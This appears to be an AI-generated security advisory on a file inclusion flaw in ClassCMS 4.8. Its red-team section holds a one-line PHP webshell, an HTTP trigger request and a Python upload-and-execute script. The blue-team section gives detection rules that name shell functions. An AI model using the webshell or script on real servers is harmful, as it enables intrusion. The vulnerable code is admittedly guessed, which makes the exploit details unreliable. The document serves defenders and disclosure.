CVE-2024-48180

Executive Summary

CVE-2024-48180 is a critical file inclusion vulnerability discovered in ClassCMS version 4.8 and earlier. The flaw resides in the nowView method within /class/cms/cms.php, allowing an authenticated or unauthenticated attacker (depending on configuration) to include arbitrary files from the /class/template directory. By uploading a malicious PHP file to this directory (e.g., via a separate file upload feature or misconfiguration), an attacker can achieve remote code execution (RCE) on the target server. This vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of proof-of-concept code increases the risk for unpatched instances.

Supply Chain & Package Security

ClassCMS is a PHP-based content management system. The vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the CMS itself. Users should verify the integrity of their ClassCMS installation and monitor for any third-party plugins or themes that might introduce additional attack surface.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, likely due to incomplete scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N) – if file upload is accessible without authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Remote Code Execution without authentication in many configurations.

Deep Dive & Mechanics

The vulnerability is a classic PHP file inclusion (CWE-98) in the nowView method of /class/cms/cms.php. The method likely uses a user-supplied parameter (e.g., view) to include a template file from the /class/template directory. The code does not properly sanitize or validate the input, allowing directory traversal or direct inclusion of arbitrary files.

Attack Flow:

1. File Upload: The attacker first uploads a malicious PHP file (e.g., shell.php) to the /class/template directory. This could be achieved via a separate file upload feature in ClassCMS (e.g., theme upload, media upload) or by exploiting another vulnerability.
2. Trigger Inclusion: The attacker sends a crafted request to the vulnerable endpoint, specifying the uploaded file as the view parameter. For example: http://target.com/index.php?view=shell
3. Code Execution: The nowView method includes the file, executing the PHP code within it. The attacker can then execute system commands, exfiltrate data, or pivot within the network.

Root Cause: The nowView method uses a function like include() or require() with a path constructed from user input without proper validation or whitelisting.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is assumed to be present in all versions <= 4.8. A hypothetical patched version would implement strict input validation, such as:

Vulnerable Code (cms.php):

public function nowView($view) {
    include('/class/template/' . $view . '.php');
}

Patched Code (Hypothetical):

public function nowView($view) {
    $allowed_views = ['home', 'about', 'contact'];
    if (in_array($view, $allowed_views)) {
        include('/class/template/' . $view . '.php');
    } else {
        // Handle error
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running ClassCMS <= 4.8 with the /class/template directory writable (or a file upload feature).
• Ability to upload a PHP file to /class/template.

Step 1: Upload Malicious File Use a file upload feature (e.g., theme upload) to upload a PHP webshell. Example shell (shell.php):

<?php system($_GET['cmd']); ?>

Step 2: Trigger Inclusion Send a GET request to the vulnerable endpoint:

GET /index.php?view=shell&cmd=id HTTP/1.1
Host: target.com

Step 3: Execute Commands The server will include shell.php and execute the cmd parameter. Response will show the output of id.

Alternative Exploit (Python):

import requests

target = "http://target.com"
shell_file = "shell.php"
payload = "<?php system($_GET['cmd']); ?>"

# Upload shell (assuming upload endpoint)
upload_url = f"{target}/admin/upload.php"
files = {'file': (shell_file, payload, 'application/x-php')}
requests.post(upload_url, files=files)

# Trigger inclusion
exploit_url = f"{target}/index.php?view=shell&cmd=id"
response = requests.get(exploit_url)
print(response.text)

Blue Team

Detection:

• Monitor for unusual file uploads to /class/template/ directory, especially PHP files.
• Monitor for requests to index.php with a view parameter that does not match expected template names.
• Look for directory traversal patterns in the view parameter (e.g., ../).

Hunting:

• Search web server logs for view= parameters containing suspicious strings like shell, cmd, exec, or base64-encoded payloads.
• Check for recently modified files in /class/template/ that are not standard templates.

Mitigation:

• Restrict write permissions on /class/template/ to only necessary users.
• Implement a Web Application Firewall (WAF) rule to block view parameters containing path traversal or non-alphanumeric characters.
• Disable file upload features if not needed.

Indicators of Compromise (IOCs)

• File: /class/template/shell.php (or any unexpected PHP file in that directory)
• URL Pattern: index.php?view=<filename> where <filename> is not a standard template (e.g., home, about)
• Log Entry: GET /index.php?view=shell&cmd=id with HTTP 200 response
• Network: Outbound connections from the web server to attacker-controlled IPs (if shell is used for exfiltration)

Detection Engineering

YARA Rule

rule CVE_2024_48180_ClassCMS_File_Inclusion {
    meta:
        description = "Detects malicious PHP files uploaded to ClassCMS template directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48180"
    strings:
        $php_tag = "<?php"
        $dangerous_func = /system\(|exec\(|shell_exec\(|passthru\(/
    condition:
        $php_tag and $dangerous_func and filesize < 10KB
}

Sigma Rule

title: ClassCMS File Inclusion via nowView Method
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-48180 by monitoring for suspicious view parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'view='
        cs-uri-query|re: 'view=(?!home|about|contact)[a-zA-Z0-9_]+'
    condition: selection
falsepositives:
    - Legitimate custom templates
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48180 ClassCMS File Inclusion Attempt"; flow:to_server,established; content:"GET"; http_method; content:"view="; http_uri; pcre:"/view=(?!home|about|contact)[a-zA-Z0-9_]+/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Uploads: If not required, disable any file upload functionality in ClassCMS.
2. Restrict Permissions: Ensure the /class/template/ directory is not writable by the web server user.
3. Input Validation: Manually patch the nowView method to whitelist allowed template names (see patched code example).
4. WAF Rules: Deploy WAF rules to block suspicious view parameters.

Long-Term:

• Monitor the vendor for an official patch or consider migrating to a supported CMS.
• Conduct a security audit of the entire ClassCMS codebase for similar vulnerabilities.
• Implement a file integrity monitoring (FIM) solution to detect unauthorized file changes.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.